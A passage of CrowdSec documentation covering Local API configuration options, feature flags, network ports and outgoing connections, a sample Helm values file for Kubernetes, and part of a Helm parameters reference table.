`host:port`. ##### `profiles_path`[โ€‹](#profiles_path "Direct link to profiles_path") > string The path to the profiles configuration. ##### `console_path`[โ€‹](#console_path "Direct link to console_path") > string The path to the console configuration. #### `disable_remote_lapi_registration`[โ€‹](#disable_remote_lapi_registration "Direct link to disable_remote_lapi_registration") > bool This option will disable the registration of remote agents using `cscli lapi register` command. As by default the local API registration will create a machine in the database (not validated), this option will prevent the creation of a machine in the database. #### `disable_usage_metrics_export`[โ€‹](#disable_usage_metrics_export "Direct link to disable_usage_metrics_export") > bool If set to true, the Local API will not export usage metrics to the CrowdSec Web Console. Defaults to false. ##### `capi_whitelists_path`[โ€‹](#capi_whitelists_path "Direct link to capi_whitelists_path") > string warning This option is deprecated. You should use [centralized allowlists](https://docs.crowdsec.net/docs/next/local_api/centralized_allowlists.md) instead. The path to whitelists file for community and 3rd party blocklists. Those IPs/CIDR whitelists apply on all the IPs received from community blocklist or 3rd party lists subscriptions. expected file format: YAMLCOPY ``` ips: - 1.2.3.4 - 2.3.4.5 cidrs: - 1.2.3.0/24 ``` ##### `use_forwarded_for_headers`[โ€‹](#use_forwarded_for_headers "Direct link to use_forwarded_for_headers") > bool Allow the usage of `X-Forwarded-For` or `X-Real-IP` to get the client IP address. Do not enable if you are not running the LAPI behind a trusted reverse-proxy or LB. ##### `online_client`[โ€‹](#online_client "Direct link to online_client") Configuration to push signals and receive bad IPs from Crowdsec API. YAMLCOPY ``` online_client: sharing: "(true|false)" pull: community: "(true|false)" blocklists: "(true|false)" credentials_path: "" ``` ###### `sharing`[โ€‹](#sharing "Direct link to sharing") > bool Whether you want to share signals with Central API, please note as outlined in the [Community blocklists](https://docs.crowdsec.net/docs/next/central_api/community_blocklist.md) section, enabling or disabling based on your plan type will affect how many IP's are downloaded from the community blocklists. ###### `pull`[โ€‹](#pull "Direct link to pull") YAMLCOPY ``` pull: community: "(true|false)" blocklists: "(true|false)" ``` ###### `community`[โ€‹](#community "Direct link to community") > bool Whether to pull signals from the community blocklists. Useful when you want to share your signals with the community but don't want to receive signals from the community. ###### `blocklists`[โ€‹](#blocklists "Direct link to blocklists") > bool Whether to pull signals from the CrowdSec blocklists. Useful when you want to share your signals with the community but don't want to receive signals from 3rd party or first party blocklists. ###### `credentials_path`[โ€‹](#credentials_path-1 "Direct link to credentials_path-1") > string Path to a file containing credentials for the Central API. ##### `tls`[โ€‹](#tls "Direct link to tls") if present, holds paths to certs and key files. YAMLCOPY ``` tls: cert_file: "" key_file: "" client_verification: "NoClientCert|RequestClientCert|RequireAnyClientCert|VerifyClientCertIfGiven|RequireAndVerifyClientCert" ca_cert_path: "" agents_allowed_ou: # List of allowed Organisational Unit for the agents - agents_ou bouncers_allowed_ou: # List of allowed Organisational Unit for the bouncers - bouncers_ou crl_path: "" cache_expiration: "" ``` ###### `cert_file`[โ€‹](#cert_file "Direct link to cert_file") > string Path to certificate file. ###### `key_file`[โ€‹](#key_file "Direct link to key_file") > string Path to certficate key file. ###### `client_verification`[โ€‹](#client_verification "Direct link to client_verification") Whether LAPI should require or not a client certificate for authentication. Supported values mirror the ones available in the [golang TLS library](https://pkg.go.dev/crypto/tls#ClientAuthType). Default to `VerifyClientCertIfGiven` which will allow connection without certificate or require a valid client certificate if one is provided warning Crowdsec supports all `ClientAuthType` value from the go TLS library for sake of completness, but using any value other than `NoClientCert` (completly disable authentication with certificates), `VerifyClientCertIfGiven` (only use the certificate if provided) or `RequireAndVerifyClientCert` (only allows certificate authentication and disable password/API key auth) is insecure and must not be used. ###### ca\_cert\_path[โ€‹](#ca_cert_path "Direct link to ca_cert_path") Path to the CA certificates used to sign the client private keys. Only required if using TLS auth and if the system does not trust the CA. If not set and if the system does not trust the CA, all TLS authenticated requests will fail. ###### agents\_allowed\_ou[โ€‹](#agents_allowed_ou "Direct link to agents_allowed_ou") List of Organizational Unit allowed for the agents. If not set, no agents will be able to authenticate with TLS. ###### bouncers\_allowed\_ou[โ€‹](#bouncers_allowed_ou "Direct link to bouncers_allowed_ou") List of Organizational Unit allowed for the bouncers. If not set, no bouncers will be able to authenticate with TLS. ###### crl\_path[โ€‹](#crl_path "Direct link to crl_path") Path to the certificate revocation list of the CA. Optional. If not set, only OCSP revocation check will be performed (only if the client certificate contains an OCSP URL). ##### cache\_expiration[โ€‹](#cache_expiration "Direct link to cache_expiration") How log to cache the result of a revocation check. Defaults to 1h. The format must be compatible with golang [time.Duration](https://pkg.go.dev/time#ParseDuration) ##### `trusted_ips`[โ€‹](#trusted_ips "Direct link to trusted_ips") > list IPs or IP ranges which have admin access to API. The APIs would still need to have API keys. 127.0.0.1 and ::1 are always given admin access whether specified or not. #### `auto_registration`[โ€‹](#auto_registration "Direct link to auto_registration") This section configures LAPI to automatically accept new machine registrations YAMLCOPY ``` auto_registration: enabled: token: allowed_ranges: - 10.0.0.0/24 ``` ##### `enabled`[โ€‹](#enabled-1 "Direct link to enabled-1") > bool Whether automatic registration should be enabled. Defaults to `false`. ##### `token`[โ€‹](#token "Direct link to token") > string Token that should be passed in the registration request if LAPI needs to automatically validate the machine. It must be at least 32 chars, and is mandatory if the feature is enabled. ##### `allowed_ranges`[โ€‹](#allowed_ranges "Direct link to allowed_ranges") > \[]string IP ranges that are allowed to use the auto registration features. It must have at least one entry if the feature is enabled ### `prometheus`[โ€‹](#prometheus "Direct link to prometheus") This section is used by local API and crowdsec. YAMLCOPY ``` prometheus: enabled: "(true|false)" level: "(full|aggregated)" listen_addr: "" listen_port: "" ``` #### `enabled`[โ€‹](#enabled-2 "Direct link to enabled-2") > bool Allows to enable/disable prometheus instrumentation. #### `level`[โ€‹](#level "Direct link to level") > string Can be `full` (all metrics) or `aggregated` (to allow minimal metrics that will keep cardinality low). #### `listen_addr`[โ€‹](#listen_addr "Direct link to listen_addr") > string Prometheus listen url. #### `listen_port`[โ€‹](#listen_port "Direct link to listen_port") > int Prometheus listen port. --- # Feature Flags In order to make it easier for users to test and experiment with new features, CrowdSec uses the concept of "feature flags". New commands and behaviors can be improved by us, according to the user's feedback, before making them available in the default configuration. ## List of available Feature Flags[โ€‹](#list-of-available-feature-flags "Direct link to List of available Feature Flags") Some of the feature flags might not be documented because they are for features that are still under development and not ready for general use. * `re2_grok_support`: Enable RE2 support for GROK patterns. [Brings a very significant performance improvement in parsing at the cost of extra memory](https://www.crowdsec.net/blog/increasing-performance-crowdsec-1-5). This flag is not available on Linux, as RE2 is the default implementation here * `re2_disable_grok_support`: Disable RE2 support for GROK patterns and use the builtin Go regexp package. Only available on Linux. * `re2_regexp_in_file_support`: Enable RE2 support for `RegexpInFile` expr helper. Similar to `re2_grok_support` but more niche as regexps used by `RegexpInFile` are usually less complex than grok patterns. * `chunked_decisions_stream`: Enable chunked decisions stream. Useful when you have a lot of remediation pulling from the same local API, as it reduces the memory consumption related to decision fetch. * `disable_http_retry_backoff`: Disable HTTP retry exponential backoff for interactions with LAPI or CAPI ## Enabling a Feature Flag[โ€‹](#enabling-a-feature-flag "Direct link to Enabling a Feature Flag") A feature flag can be enabled in two ways: * By adding the feature name as a list item in the file `/etc/crowdsec/feature.yaml`. For example, to enable the `my_new_feature` feature flag, you would add the following line to the file: /etc/crowdsec/feature.yaml YAML/etc/crowdsec/feature.yamlCOPY ``` - my_new_feature ``` * By setting the `CROWDSEC_FEATURE_` environment variable to true. For example, to enable the `my_new_feature` feature flag, you would set the environment variable `CROWDSEC_FEATURE_MY_NEW_FEATURE=true`. This is recommended when running CrowdSec in containers. If you really want to do this outside of containers (as we do for tests), keep in mind that the variable must be defined for both the `crowdsec` process and `cscli`. You can see if CrowdSec is running with feature flags by calling `grep 'feature flags' /var/log/crowdsec.log | tail -1` ## Retrieving Supported Feature Flags[โ€‹](#retrieving-supported-feature-flags "Direct link to Retrieving Supported Feature Flags") To retrieve a list of all the supported and enabled feature flags for a given version of CrowdSec, you can use the following command: SHCOPY ``` $ cscli config feature-flags --- Enabled features --- โœ“ cscli_setup: Enable cscli setup command (service detection) โœ“ papi_client: Enable Polling API client --- Disabled features --- โœ— chunked_decisions_stream: Enable chunked decisions stream โœ— disable_http_retry_backoff: Disable http retry backoff To enable a feature you can: - set the environment variable CROWDSEC_FEATURE_ to true - add the line '- ' to the file /etc/crowdsec/feature.yaml ``` ## Deprecation, retirement[โ€‹](#deprecation-retirement "Direct link to Deprecation, retirement") When a feature is made generally available, or if it's discarded completely, the corresponding feature flag can be `deprecated` or `retired`. You can still use the feature flag (with a warning) if it has been deprecated. Using a feature flag that has been retired will have no effect and log an error instead. In the following example, we deprecated `cscli_setup` and retired `papi`, then we attempt to enable both. You can see the warning and the error. SHCOPY ``` $ CROWDSEC_FEATURE_PAPI_CLIENT=true CROWDSEC_FEATURE_CSCLI_SETUP=true ./test/local/bin/cscli version ERRO[02-03-2023 15:55:45] Ignored envvar 'CROWDSEC_FEATURE_PAPI_CLIENT': the flag is retired. WARN[02-03-2023 15:55:45] Envvar 'CROWDSEC_FEATURE_CSCLI_SETUP': the flag is deprecated. 2023/03/02 15:55:45 version: v1.5.0-rc1-13-ge729bf5d-e729bf5d6103894da28818ab4626bab918fbd09d 2023/03/02 15:55:45 Codename: alphaga 2023/03/02 15:55:45 BuildDate: 2023-03-02_15:48:28 2023/03/02 15:55:45 GoVersion: 1.20.1 [...] ``` Retired flags don't appear in `cscli config feature-flags` unless you use the `--retired` option: SHCOPY ``` $ CROWDSEC_FEATURE_PAPI_CLIENT=true CROWDSEC_FEATURE_CSCLI_SETUP=true ./test/local/bin/cscli config feature-flags --retired ERRO[02-03-2023 15:58:38] Ignored envvar 'CROWDSEC_FEATURE_PAPI_CLIENT': the flag is retired. WARN[02-03-2023 15:58:38] Envvar 'CROWDSEC_FEATURE_CSCLI_SETUP': the flag is deprecated. --- Enabled features --- โœ“ cscli_setup: Enable cscli setup command (service detection) DEPRECATED --- Disabled features --- โœ— chunked_decisions_stream: Enable chunked decisions stream โœ— disable_http_retry_backoff: Disable http retry backoff To enable a feature you can: - set the environment variable CROWDSEC_FEATURE_ to true - add the line '- ' to the file /home/marco/src/crowdsec/test/local/etc/crowdsec/feature.yaml --- Retired features --- โœ— papi_client: Enable Polling API client RETIRED ``` --- # Ports inventory * `tcp/8080` exposes a [REST API](https://crowdsecurity.github.io/api_doc/lapi/) for bouncers, `cscli` and communication between crowdsec agent and local api * `tcp/6060` (endpoint `/metrics`) exposes [prometheus metrics](https://docs.crowdsec.net/docs/next/observability/prometheus.md) * `tcp/6060` (endpoint `/debug`) exposes pprof debugging metrics # Outgoing connections * Local API connects to `tcp/443` on `api.crowdsec.net` (signal push and blocklists pull) * Local API connects to `tcp/443` on `blocklists.api.crowdsec.net` (blocklists pull) * Local API connects to `tcp/443` on `papi.api.crowdsec.net` (console management) * `cscli` connects to `tcp/443` on `cdn-hub.crowdsec.net` to fetch scenarios, parsers etc. (1) * `cscli` connects to `tcp/443` on `version.crowdsec.net` to check latest version available. (2) * `cscli` connects to `tcp/443` on `hub-data.crowdsec.net` to fetch external data loaded by parsers, scenario and postoverflows. (2) * Dashboard-related functionality may connect to external services for configuration * Installation script is hosted on `install.crowdsec.net` over HTTPS. * Repositories are hosted on `packagecloud.io` over HTTPS. **(1) - This FQDN routes traffic to CrowdSec's GitHub repositories through CloudFront, which helps avoid GitHub rate limits.** [AWS publishes the CloudFront IP ranges](https://ip-ranges.amazonaws.com/ip-ranges.json); CloudFront entries are tagged `CLOUDFRONT`. **(2) - This FQDN routes traffic to CrowdSec's GitHub repository through Cloudflare, which helps avoid GitHub rate limits.** [Cloudflare publishes its IP ranges](https://www.cloudflare.com/ips/): [IPv4](https://cloudflare.com/ips-v4) and [IPv6](https://cloudflare.com/ips-v6). # Communication between components ## Bouncers -> Local API[โ€‹](#bouncers---local-api "Direct link to Bouncers -> Local API") * Bouncers are using Local API on `tcp/8080` by default ## Agents -> Local API[โ€‹](#agents---local-api "Direct link to Agents -> Local API") * Agents connect to local API on port `tcp/8080` (only relevant ) warning If there is an error in the agent configuration, it will also cause the Local API to fail if both of them are running in the same machine ! Both components need proper configuration to run (we decide to keep this behavior to detect agent or local API errors on start). ## Local API -> Central API[โ€‹](#local-api---central-api "Direct link to Local API -> Central API") * Central API is reached on port `tcp/443` by Local API. The FQDN is `api.crowdsec.net` ## Local API -> Database[โ€‹](#local-api---database "Direct link to Local API -> Database") * When using a networked database (PostgreSQL or MySQL), only the local API needs to access the database, agents don't have to be able to communicate with it. ## Prometheus -> Agents[โ€‹](#prometheus---agents "Direct link to Prometheus -> Agents") * If you're scrapping prometheus metrics from your agents or your local API, you need to allow inbound connections to `tcp/6060` ## Notes on proxy use[โ€‹](#notes-on-proxy-use "Direct link to Notes on proxy use") * It's possible to use crowdsec through proxy, it will honor the `HTTP_PROXY` environment variable. More on the configuration how to use crowdsec through a proxy [here](https://docs.crowdsec.net/u/troubleshooting/security_engine.md#how-to-set-up-a-proxy) --- # How to write a values parameter file The following configuration keeps the Helm chart close to its defaults while explicitly defining how CrowdSec discovers logs, which parsers and collections are enabled, and how state is persisted. The container runtime `container_runtime` is set to ensure log lines are decoded in the correct format. The agent is scoped to only the namespaces and pods that matter, which reduces noise and limits resource usage. Each `acquisition` entry includes a program value that maps logs to the appropriate parser family, and this must stay consistent with the collections loaded through environment variables. Debug logging is enabled here for visibility, but it should normally be disabled in production environments. AppSec is enabled with a local listener so in-cluster components can forward HTTP security events. The corresponding AppSec rule collections are loaded to provide virtual patching and generic protections. The configuration is described after the `appsec` directive. On the LAPI side, we strongly encourages the use of database to provide persistence of decisions and alerts. YAMLCOPY ``` # Log format emitted by the container runtime. # Use "containerd" for CRI-formatted logs (most modern Kubernetes clusters), # or "docker" if nodes still use the Docker runtime. container_runtime: containerd agent: # Log acquisition configuration: tells CrowdSec which pod logs to read # and which parser family ("program") should process them. acquisition: # Postfix mail logs from the mail-system namespace - namespace: mail-system # Kubernetes namespace to watch podName: mail-system-postfix-* # Pod name glob pattern program: postfix/smtpd # Parser hint so postfix logs match correctly poll_without_inotify: true # NGINX ingress controller logs - namespace: ingress-nginx podName: ingress-nginx-controller-* # Typical ingress-nginx controller pods program: nginx # Routes logs to nginx parsers poll_without_inotify: true # It's recommended to avoid putting passwords directly in the values.yaml file # for security reasons. Instead, consider using Kubernetes Secrets or environment # variables to manage sensitive information securely. env: # Collections determine which parsers, scenarios, and postoverflows are installed. # Must match the log sources defined above. - name: COLLECTIONS value: crowdsecurity/postfix crowdsecurity/nginx # Enables verbose logs from the CrowdSec agent. # Useful for troubleshooting, but should be "false" in steady-state production. #- name: DEBUG # value: "true" tolerations: # Allows the agent pod to run on control-plane nodes. # Only keep this if those nodes also run workloads you want to monitor. - key: "node-role.kubernetes.io/control-plane" operator: "Exists" effect: "NoSchedule" appsec: # Enables CrowdSec AppSec (WAF component) enabled: true acquisitions: # Defines how AppSec receives HTTP security events - appsec_config: crowdsecurity/appsec-default # Default AppSec engine configuration labels: type: appsec # Label used internally to identify AppSec events listen_addr: 0.0.0.0:7422 # Address/port where AppSec listens for events path: / # URL path to inspect source: appsec # Marks events as coming from AppSec env: # AppSec-specific rule sets (virtual patching + generic protections) - name: COLLECTIONS value: crowdsecurity/appsec-virtual-patching crowdsecurity/appsec-generic-rules lapi: env: # Enrollment key used to register this CrowdSec instance with the console. # Should be stored in a Kubernetes Secret in production. - name: ENROLL_KEY valueFrom: secretKeyRef: name: crowdsec-keys key: ENROLL_KEY # Human-readable name for this instance in the console - name: ENROLL_INSTANCE_NAME value: "sabban" # Tags help group or filter instances in the console - name: ENROLL_TAGS value: "k8s" # API key used by a bouncer (here: ingress) to query decisions from LAPI # Also should be stored as a Secret rather than plaintext. - name: BOUNCER_KEY_ingress valueFrom: secretKeyRef: name: crowdsec-keys key: BOUNCER_KEY_ingress # It's recommended to avoid putting passwords directly in the values.yaml file # for security reasons. Instead, consider using Kubernetes Secrets or environment # variables to manage sensitive information securely. - name: DB_PASSWORD valueFrom: secretKeyRef: name: database-secret key: DB_PASSWORD # persistentVolume in kubernetes for CrowdSec data and configuration is now # discouraged in favor of a database and direct configuration through # values persistentVolume: data: enabled: false config: enabled: false # The following piece configuration under config.config.yaml.local is merged # alongside the current conbfiguration. This mechanism allows # environment-specific overrides. This approach helps maintain # a clean and centralized configuration while enabling developers # to customize their local settings without modifying the primary # configuration files in pods with complex volumes and mount points. config: config.yaml.local: | api: client: # the log processor will remove delete itself from LAPI when stopping. unregister_on_exit: true server: # This is needed for agent autoregistration auto_registration: # Activate if not using TLS for authentication enabled: true token: "${REGISTRATION_TOKEN}" # /!\ Do not modify this variable (auto-generated and handled by the chart) allowed_ranges: # /!\ Make sure to adapt to the pod IP ranges used by your cluster - "127.0.0.1/32" - "192.168.0.0/16" - "10.0.0.0/8" - "172.16.0.0/12" # Using a database is strongly encouraged. db_config: type: postgresql user: crowdsec password: ${DB_PASSWORD} db_name: crowdsec host: flush: bouncers_autodelete: api_key: 1h agents_autodelete: login_password: 1h ``` # Values parameters reference This page provides a complete, generated reference of all Helm chart configuration values, their defaults, and their purpose. ## Parameters[โ€‹](#parameters "Direct link to Parameters") ### Global[โ€‹](#global "Direct link to Global") | Name | Description | Value | | ----------------------- | --------------------------------------------------- | -------- | | `container_runtime`[]() | \[string] for raw logs format: docker or containerd | `docker` | ### Image[โ€‹](#image "Direct link to Image") | Name | Description | Value | | ------------------------------ | ------------------------------------------------------------------------------------------------------------------- | ------------------------ | | `image.repository`[]() | \[string] docker image repository name | `crowdsecurity/crowdsec` | | `image.pullPolicy`[]() | \[string] Image pull policy (Always, IfNotPresent, Never) | `IfNotPresent` | | `image.pullSecrets`[]() | Image pull secrets (array of objects with a 'name' field) | `[]` | | `image.tag`[]() | docker image tag (empty defaults to chart AppVersion) | `""` | | `image.kubectl.repository`[]() | \[string] kubectl image repository used by registration jobs initContainers | `alpine/kubectl` | | `image.kubectl.tag`[]() | \[string] kubectl image tag (override to match your cluster version if you encounter issues with registration jobs) | `latest` | | `image.kubectl.pullPolicy`[]() | \[string] kubectl image pull policy (Always, IfNotPresent, Never) | `IfNotPresent` | | `podAnnotations`[]() | podAnnotations to be added to pods (string:string map) | `{}` | | `podLabels`[]() | Labels to be added to pods (string:string map) | `{}` | ### Configuration[โ€‹](#configuration "Direct link to Configuration") | Name | Description | Value | | ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------- | ------- | | `config.parsers.s00-raw`[]() | First step custom parsers definitions, usually used to label logs | `{}` | | `config.parsers.s01-parse`[]() | Second step custom parsers definitions, usually to normalize logs into events | `{}` | | `config.parsers.s02-enrich`[]() | Third step custom parsers definitions, usually to enrich events | `{}` | | `config.scenarios`[]() | Custom raw scenarios definition see | `{}` | | `config.postoverflows.s00-enrich`[]() | First step custom postoverflows definitions, usually used to enrich overflow events | `{}` | | `config.postoverflows.s01-whitelist`[]() | Second step custom postoverflows definitions, usually used to whitelist events | `{}` | | `config.simulation.yaml`[]() | This file is usually handled by the agent. | `""` | | `config.console.yaml`[]() | This file is usually handled by the agent. | `""` | | `config.capi_whitelists.yaml`[]() | This file is deprecated in favor of centralized allowlists see | `""` | | `config.profiles.yaml`[]() | Use for defining custom profiles | `""` | | `config.config.yaml.local`[]() | main configuration file local overriden values. This is merged with main configuration file. | `""` | | `config.notifications`[]() | notification on alert configuration | `{}` | | `config.agent_config.yaml.local`[]() | This configuration file is merged with agent pod main configuration file | `""` | | `config.appsec_config.yaml.local`[]() | This configuration file is merged with appsec pod main configuration file | `""` | | `tls.enabled`[]() | Is tls enabled ? | `false` | | `tls.caBundle`[]() | pem format CA collection | `true` | | `tls.insecureSkipVerify`[]() | | `false` | | `tls.certManager`[]() | Use of a cluster certManager configuration | `{}` | | `tls.certManager.enabled`[]() | Use of a cluster cert manager | `true` | | `tls.certManager.secretTemplate`[]() | secret configuration | `{}` | | `tls.certManager.secretTemplate.annotations`[]() | add annotation to generated secret | `{}` | | `tls.certManager.secretTemplate.labels`[]() | add annotation to generated labels | `{}` | | `tls.certManager.duration`[]() | validity duration of certificate (golang duration string) | `""` | | `tls.certManager.renewBefore`[]() | duration before a certificateโ€™s expiry when cert-manager should start renewing it. | `""` | | `tls.bouncer.secret`[]() | Name of the Kubernetes Secret containing TLS materials for the bouncer | `""` | | `tls.bouncer.reflector.namespaces`[]() | List of namespaces from which the bouncer will watch and sync Secrets/ConfigMaps. | `[]` | | `tls.agent.tlsClientAuth`[]() | Enables mutual TLS authentication for the agent when connecting to LAPI. | `true` | | `tls.agent.secret`[]() | Name of the Secret holding the agentโ€™s TLS certificate and key. | `""` | | `tls.agent.reflector.namespaces`[]() | Namespaces where the agentโ€™s TLS Secret can be reflected/synced. | `[]` | | `tls.appsec.tlsClientAuth`[]() | Enables mutual TLS authentication for the agent when connecting to LAPI. | `true` | | `tls.appsec.secret`[]() | Name of the Secret holding the agentโ€™s TLS certificate and key. | `""` | | `tls.appsec.reflector.namespaces`[]() | Namespaces where the agentโ€™s TLS Secret can be reflected/synced. | `[]` | | `tls.lapi.secret`[]() | Name of the Secret holding the lapidary'sโ€™s TLS certificate and key. | `""` | | `tls.lapi.reflector.namespaces`[]() | Namespaces where the LAPI TLS Secret can be reflected/synced. | `[]` | ### secrets[โ€‹](#secrets "Direct link to secrets") | Name | Description | Value | | ------------------------------------------------- | ----------------------------------------------------------------------------------------------------------- | ----- | | `secrets.username`[]() | Agent username (default is generated randomly) | `""` | | `secrets.password`[]() | Agent password (default is generated randomly) | `""` | | `secrets.externalSecret.name`[]() | Name of the external secret to use (overrides lapi.secrets.csLapiSecret and lapi.secrets.registrationToken) | `""` | | `secrets.externalSecret.csLapiSecretKey`[]() | The key in the external secret that holds the csLapiSecret | `""` | | `secrets.externalSecret.registrationTokenKey`[]() | The key in the external secret that holds the registrationToken | `""` | ### lapi[โ€‹](#lapi "Direct link to lapi") | Name | Description | Value | | --------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------- | ------------------- | | `lapi.enabled`[]() | Enable LAPI deployment (enabled by default) | `true` | | `lapi.replicas`[]() | Number of replicas for the Local API | `1` | | `lapi.env`[]() | Extra environment variables passed to the crowdsecurity/crowdsec container | `[]` | | `lapi.envFrom`[]() | Environment variables loaded from Kubernetes Secrets or ConfigMaps | `[]` | | `lapi.ingress.enabled`[]() | Enable ingress for the LAPI service | `false` | | `lapi.ingress.annotations`[]() | Annotations to apply to the LAPI ingress object | `{}` | | `lapi.ingress.ingressClassName`[]() | IngressClass name for the LAPI ingress | `""` | | `lapi.ingress.host`[]() | Hostname for the LAPI ingress | `""` | | `lapi.priorityClassName`[]() | Pod priority class name | `""` | | `lapi.deployAnnotations`[]() | Annotations applied to the LAPI Deployment | `{}` | | `lapi.podAnnotations`[]() | Annotations applied to LAPI pods | `{}` | | `lapi.podLabels`[]() | Labels applied to LAPI pods | `{}` | | `lapi.extraInitContainers`[]() | Additional init containers for LAPI pods | `[]` | | `lapi.extraVolumes`[]() | Additional volumes for LAPI pods | `[]` | | `lapi.extraVolumeMounts`[]() | Additional volumeMounts for LAPI pods | `[]` | | `lapi.podSecurityContext`[]() | Security context for LAPI pods | `{}` | | `lapi.securityContext`[]() | Security context for the LAPI contaienr | `{}` | | `lapi.resources`[]() | Resource requests and limits for the LAPI pods | `{}` | | `lapi.persistentVolume.data.enabled`[]() | Enable persistent volume for the data folder (stores bouncer API keys) | `true` | | `lapi.persistentVolume.data.accessModes`[]() | Access modes for the data PVC | `["ReadWriteOnce"]` | | `lapi.persistentVolume.data.storageClassName`[]() | StorageClass name for the data PVC | `""` | | `lapi.persistentVolume.data.existingClaim`[]() | Existing PersistentVolumeClaim to use for the data PVC | `""` | | `lapi.persistentVolume.data.subPath`[]() | subPath to use within the volume | `""` | | `lapi.persistentVolume.data.size`[]() | Requested size for the data PVC | `""` | | `lapi.persistentVolume.config.enabled`[]() | Enable persistent volume for the config folder (stores API credentials) | `true` | | `lapi.persistentVolume.config.accessModes`[]() | Access modes for the config PVC | `["ReadWriteOnce"]` | | `lapi.persistentVolume.config.storageClassName`[]() | StorageClass name for the config PVC | `""` | | `lapi.persistentVolume.config.existingClaim`[]() | Existing PersistentVolumeClaim to use for the config PVC | `""` | | `lapi.persistentVolume.config.subPath`[]() | subPath to use within the volume | `""` | | `lapi.persistentVolume.config.size`[]() | Requested size for the config PVC | `""` | | `lapi.service`[]() | Configuration of kubernetes lapi service | `{}` | | `lapi.service.type`[]() | Kubernetes service type for LAPI | `""` | | `lapi.service.labels`[]() | Extra labels to add to the LAPI service | `{}` | | `lapi.service.annotations`[]() | Extra annotations to add to the LAPI service | `{}` | | `lapi.service.externalIPs`[]() | List of external IPs for the LAPI service | `[]` | | `lapi.service.loadBalancerIP`[]() | Specific loadBalancer IP for the LAPI service | `nil` | | `lapi.service.loadBalancerClass`[]() | LoadBalancer class for the LAPI service | `nil` | | `lapi.service.externalTrafficPolicy`[]() | External traffic policy for the LAPI service | `""` | | `lapi.nodeSelector`[]() | Node selector for scheduling LAPI pods | `{}` | | `lapi.tolerations`[]() | Tolerations for scheduling LAPI pods | `[]` | | `lapi.dnsConfig`[]() | DNS configuration for LAPI pods | `{}` | | `lapi.affinity`[]() | Affinity rules for LAPI pods | `{}` | | `lapi.topologySpreadConstraints`[]() | Topology spread constraints for LAPI pods | `[]` | | `lapi.metrics.enabled`[]() | Enable service monitoring for Prometheus (exposes port 6060) | `true` | | `lapi.metrics.serviceMonitor.enabled`[]() | \[object] Create a ServiceMonitor resource for Prometheus | `true` | | `lapi.metrics.serviceMonitor.additionalLabels`[]() | Extra labels for the ServiceMonitor | `{}` | | `lapi.metrics.podMonitor.enabled`[]() | Enables prometheus operator podMonitor | `false` | | `lapi.metrics.podMonitor.additionalLabels`[]() | additional labels for podMonitor | `{}` | | `lapi.strategy.type`[]() | Deployment strategy for the LAPI deployment | `""` | | `lapi.secrets.csLapiSecret`[]() | Shared LAPI secret (randomly generated if not specified, must be >64 chars) | `""` | | `lapi.secrets.registrationToken`[]() | Registration token for AppSec (randomly generated if not specified, must be >48 chars) | `""` | | `lapi.extraSecrets`[]() | Additional secrets to inject (e.g., external DB password) | `{}` | | `lapi.lifecycle`[]() | Lifecycle hooks for LAPI pods (postStart, preStop, etc.) | `{}` | | `lapi.storeCAPICredentialsInSecret`[]() | \[object] Store Central API credentials in a Secret (required if LAPI replicas > 1) | `false` | | `lapi.storeLAPICscliCredentialsInSecret`[]() | \[object] Store LAPI cscli credentials in a Secret. Useful if LAPI replicas > 1 or to setup LAPI with a persistent volume. | `false` | ### agent[โ€‹](#agent "Direct link to agent") | Name | Description | Value | | ---------------------------------------------------- | -------------------------------------------------------------------------------------------- | ------- | | `agent.enabled`[]() | \[object] Enable CrowdSec agent (enabled by default) | `true` | | `agent.isDeployment`[]() | \[object] Deploy agent as a Deployment instead of a DaemonSet | `false` | | `agent.serviceAccountName`[]() | Service account name for the agent pods | `""` | | `agent.lapiURL`[]() | URL of the LAPI for the agent to connect to (defaults to internal service URL) | `""` | | `agent.lapiHost`[]() | Host of the LAPI for the agent to connect to | `""` | | `agent.lapiPort`[]() | Port of the LAPI for the agent to connect to | `8080` | | `agent.replicas`[]() | Number of replicas when deploying as a Deployment | `1` | | `agent.strategy`[]() | Deployment strategy when `isDeployment` is true | `{}` | | `agent.ports`[]() | Custom container ports to expose (default: metrics port 6060 if enabled) | `[]` | | `agent.additionalAcquisition`[]() | Extra log acquisition sources (see ) | `[]` | | `agent.acquisition`[]() | Pod log acquisition definitions (namespace, podName, program, etc.) | `[]` | | `agent.priorityClassName`[]() | Priority class name for agent pods | `""` | | `agent.daemonsetAnnotations`[]() | Annotations applied to the agent DaemonSet | `{}` | | `agent.deploymentAnnotations`[]() | Annotations applied to the agent Deployment | `{}` | | `agent.podAnnotations`[]() | Annotations applied to agent pods | `{}` | | `agent.podLabels`[]() | Labels applied to agent pods | `{}` | | `agent.extraInitContainers`[]() | Extra init containers for agent pods | `[]` | | `agent.extraVolumes`[]() | Extra volumes for agent pods | `[]` | | `agent.extraVolumeMounts`[]() | Extra volume mounts for agent pods | `[]` | | `agent.podSecurityContext`[]() | Security context for agent pods | `{}` | | `agent.securityContext`[]() | Security context for agent containers | `{}` | | `agent.resources`[]() | Resource requests and limits for agent pods | `{}` | | `agent.persistentVolume.config.enabled`[]() | \[object] Enable persistent volume for agent config | `false` | | `agent.persistentVolume.config.accessModes`[]() | Access modes for the config PVC | `[]` | | `agent.persistentVolume.config.storageClassName`[]() | StorageClass name for the config PVC | `""` | | `agent.persistentVolume.config.existingClaim`[]() | Existing PVC name to use for config | `""` | | `agent.persistentVolume.config.subPath`[]() | subPath to use within the volume | `""` | | `agent.persistentVolume.config.size`[]() | Requested size for the config PVC | `""` | | `agent.hostVarLog`[]() | \[object] Mount hostPath `/var/log` into the agent pod | `true` | | `agent.env`[]() | Environment variables passed to the crowdsecurity/crowdsec container | `[]` | | `agent.nodeSelector`[]() | Node selector for agent pods | `{}` | | `agent.tolerations`[]() | Tolerations for scheduling agent pods | `[]` | | `agent.affinity`[]() | Affinity rules for agent pods | `{}` | | `agent.livenessProbe`[]() | Liveness probe configuration for agent pods | `{}` | | `agent.readinessProbe`[]() | Readiness probe configuration for agent pods | `{}` | | `agent.startupProbe`[]() | Startup probe configuration for agent pods | `{}` | | `agent.metrics.enabled`[]() | Enable service monitoring for Prometheus (exposes port 6060) | `true` | | `agent.metrics.serviceMonitor.enabled`[]() | Create a ServiceMonitor resource for Prometheus | `false` | | `agent.metrics.serviceMonitor.additionalLabels`[]() | Extra labels for the ServiceMonitor | `{}` | | `agent.metrics.podMonitor.enabled`[]() | Create a PodMonitor resource for Prometheus | `false` | | `agent.metrics.podMonitor.additionalLabels`[]() | Extra labels for the PodMonitor | `{}` | | `agent.service.type`[]() | Kubernetes Service type 